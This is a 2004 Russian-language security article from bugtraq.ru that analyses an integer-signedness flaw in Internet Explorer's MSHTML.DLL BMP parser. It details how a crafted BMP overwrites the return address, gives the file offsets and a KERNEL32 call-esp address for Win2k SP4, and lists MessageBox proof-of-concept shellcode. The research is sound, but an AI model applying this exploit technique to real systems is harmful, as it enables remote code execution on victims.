информационная безопасность
без паники и всерьез
 подробно о проекте
Rambler's Top100Портрет посетителяСтрашный баг в WindowsАтака на Internet
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Microsoft обещает радикально усилить... 
 Ядро Linux избавляется от российских... 
 20 лет Ubuntu 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / библиотека / безопасность
БИБЛИОТЕКА
вход в библиотеку
книги
безопасность
программирование
криптография
internals
www
телефония
underground
беллетристика
разное
обзор: избранное
конкурс
рейтинг статей
обсуждение




Подписка:
BuqTraq: Обзор
RSN
БСК
Закон есть закон




Использование уязвимости в MSHTML.DLL для выполнения произвольного кода
ch00k
Опубликовано: dl, 08.03.04 18:15

Около месяца назад появилась новость об обнаружении ошибки в исходниках Windows, связанной с обработкой BMP-файлов.

Ошибка содержится в следующем фрагменте кода

    // Before we read the bits, seek to the correct location in the file 
    while (_bmfh.bfOffBits > (unsigned)cbRead)  //1
    { 
        BYTE abDummy[1024]; 
        int cbSkip; 

        cbSkip = _bmfh.bfOffBits - cbRead;      //2
        
        if (cbSkip > 1024)                      //3
                 cbSkip = 1024; 

        if (!Read(abDummy, cbSkip))             //4
                 goto Cleanup;  
                  
        cbRead += cbSkip; 
    } 

Этот код используется для того, чтобы пропустить часть BMP-файла и перейти к считыванию данных, формирующих изображение.

Информация о том, в каких ОС и сервиспаках эта дыра закрыта довольно противоречива (так, сообщалось, что уязвимы только IE 5, что явно неверно). Вроде бы, закрыта она в WinXP SP1.

Код является классическим примером ошибки при преобразовании signed/unsigned. Подробно этот тип ошибки описан в http://www.phrack.org/phrack/60/p60-0x0a.txt

Рассмотрим, что произойдет, если в заголовке BMP-файла в структуре BITMAPFILEHEADER поставить значение bfOffBits, превосходящее 2^31.

Пусть _bmfh.bfOffBits = 0x90000000, а cbRead = 0x400

После присваивания в строке 2 имеем cbSkip == 0x8FFFFC00, а поскольку переменная cbSkip имеет тип int, это значит, что cbSkip == -1879049216

Проверки в строке 3 оказывается явно недостаточно, так как -1879049216 < 1024,. Происходит вызов Read(abDummy, 0x8FFFFC00).

Возьмем произвольный BMP-файл и модифицируем его заголовок, записав по смещению 0x0A значение 00 00 00 90 (0x90000000), и попробуем открыть этот файл в IE (можно создать какой-нибудь простой html-файл, содержащий ссылку на модифицированный BMP).

Результат будет зависеть от размера BMP-файла. Исследования показывают, что на больших файлах IE просто завершает работу, видимо, как-то обнаруживая внутри себя переполнение буфера, а на файлах, меньших 2 Кб, ничего вообще не происходит.

Самые интересные вещи начинаются, когда файл имеет размер около 2500 байт. В этом случае IE падает с Access Violation, причем возникает предположение, что падение происходит из-за перезаписи в стеке адреса возврата. Проверить это предположение можно следующим образом:

  • Укоротим модифицированный файл до длины в 2400 байт.
  • Все байты после заголовока (те самые bitmap bits) заполним какой-нибудь повторяющейся последовательностью из четырех байт (например, 0xСCССDDDD)

Теперь после падения IE в отладочной информации можно будет увидеть примерно следующее:

eax=00000001 ebx=00e18278 ecx=01c6ffdc edx=00070608 esi=000be300 edi=000be300
eip=ddddcccc esp=01c6fda0 ebp=ddddcccc iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286

Стек:
01c6fda0  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fdb0  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fdc0  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fdd0  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fde0  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fdf0  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fe00  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fe10  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fe20  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fe30  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fe40  cc cc 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00  ................
01c6fe50  00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00  ................

Особое внимание следует обратить на eip=ddddcccc и ebp=ddddcccc

Что означает, что были выполнены команды pop bp, ret, и при этом в стеке лежали наши данные.

Значит, функция Read работает следующим образом: она принимает параметры типа char * и DWORD и считывает из

открытого файла данные в буфер, пока не случится одно из следующих событий:

  • функция прочитает запрашиваемое количество байт
  • произойдет какая-либо ошибка ввода-вывода (например, файл закончится)

Функция, видимо, возвращает число записанных в буфер байт. В строке 4 проверяется, не произошла ли ошибка (в частности, если функция вернет 0 - значит ей ничего не удалось записать). Это означает, что при вызове Read(abDummy, 0x8FFFFC00) будет прочитано и перезаписано не 0x8FFFFC00 байт, а меньше (а именно - наш файл будет прочитан до конца, затем произойдет ошибка, и в конце концов функция вернет 0 - и произойдет выход из цикла (goto Cleanup) и возврат из функции, вызвавшей Read).

Если бы этого не происходило, и функция за раз пыталась перезаписывать 0x8FFFFC00 байт, скорее всего произошло бы банальное нарушение защиты памяти, и IE просто падал бы. Это неинтересно.

Определим, какое конкретно место в стеке надо перезаписывать (ведь из всех 2400 байт BMP-файла только 4 будут использоваться как адрес возврата). Сделать это можно различными способами, например, бинарным поиском (постепенно заменяя 0xCCCCDDDD на что-нибудь другое и следя за изменением результата) либо проcто заполнив файл разными значениями, и отследив, какое именно из них попадет в eip.

После проведения анализа выясняется, что это значение находится по смещению 0x8B6 от начала файла

Итак, мы можем передать управление по любому адресу в пространстве IE, изменив в нашем файле 4 байта по смещению 0x8B6. Значит, есть возможность выполнить код, который можно разместить в самом BMP-файле.

Заметим, что esp после выполнения ret будет указывать на байт в стеке, который в исходном BMP файле находится по адресу 0x8BE (это можно проверить, изменив этот байт и посмотрев в на изменения в stack trace). Так и хочется в BMP-файле начиная с 0x8BE разместить наш код и передать на него управление... Только сделать это напрямую не получится - заранее неизвестно, где наш код будет находиться в адресном пространстве IE. - мы не сможем просто записать адрес в BMP-файл по смещению 0x8B6.

Решить эту проблему можно следующим образом: как известно, IE использует системные DLL такие как KERNEL32.DLL и USER32.DLL. Их загрузка происходит всегда по одному и тому же адресу.

Далее все просто: достаточно найти в какой-нибудь библиотеке, загружающейся по фиксированному адресу, последовательность 0xFFE4 (jmp esp) или 0xFFD4 (call esp) и передать туда управление (предварительно, естественно, нужно вычислить адрес, по которому эта инструкция будет расположена в адресном пространстве IE и именно этот адрес записать в BMP файл). Этот код, в свою очередь, передаст управление на инструкцию по адресу esp, что нам и нужно.

У этого метода есть одна неприятная особенность: ввиду того, что системные библиотеки Windows могут меняться от версии к версии и от сервиспака к сервискпаку, для каждой операционной системы (и каждого сервиспака) придется создавать свой собственный BMP-файл.

Для Win2k En Sp4 подойдет, например, адрес 0x7C4FEDBB (что соответствует инструкции call esp в KERNEL32.DLL по смещению 0x1E1BB от начала файла).

Код, который будет выполняться - тема отдельной статьи. На эту тему почитать можно здесь: http://seclists.org/lists/vuln-dev/2001/Sep/0190.html. Но поскольку сейчас не ставится целью разработка вируса или трояна, эксплуатирующего данную уязвимость, мы просто выведем сообщение и завершим текущий поток. Для этого вызовем MessageBoxA и ExitThread. В стеке предварительно разместим строку, которую мы хотим вывести (располагать ее следует, очевидно, до адреса 0x8B6 в нашем файле)

000008C0: 8BC4                         mov    eax,esp
000008C2: 2D00020000                   sub    eax,000000200
000008C7: 6A00                         push   000
000008C9: 50                           push   eax
000008CA: 50                           push   eax
000008CB: 6A00                         push   000
000008CD: B89880E377                   mov    eax,077E38098 ;MessageBoxA
000008D2: FFD0                         call   eax
000008D4: B83B5F4E7C                   mov    eax,07C4E5F3B ;ExitThread
000008D9: FFD0                         call   eax

Таким образом, был создан BMP-файл, позволяющий выполнять произвольный код на машине пользователя. Для выполнения кода необходимо либо открытие страницы, либо просто просмотр письма, содержащего файл в аттаче (в Outlook Express).

Прилагаемый файл проверялся на Win2k en sp4 IE 6.0.2600.

обсудить  |  все отзывы (7)

[25252; 67; 5.86]




Rambler's Top100
Рейтинг@Mail.ru





  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach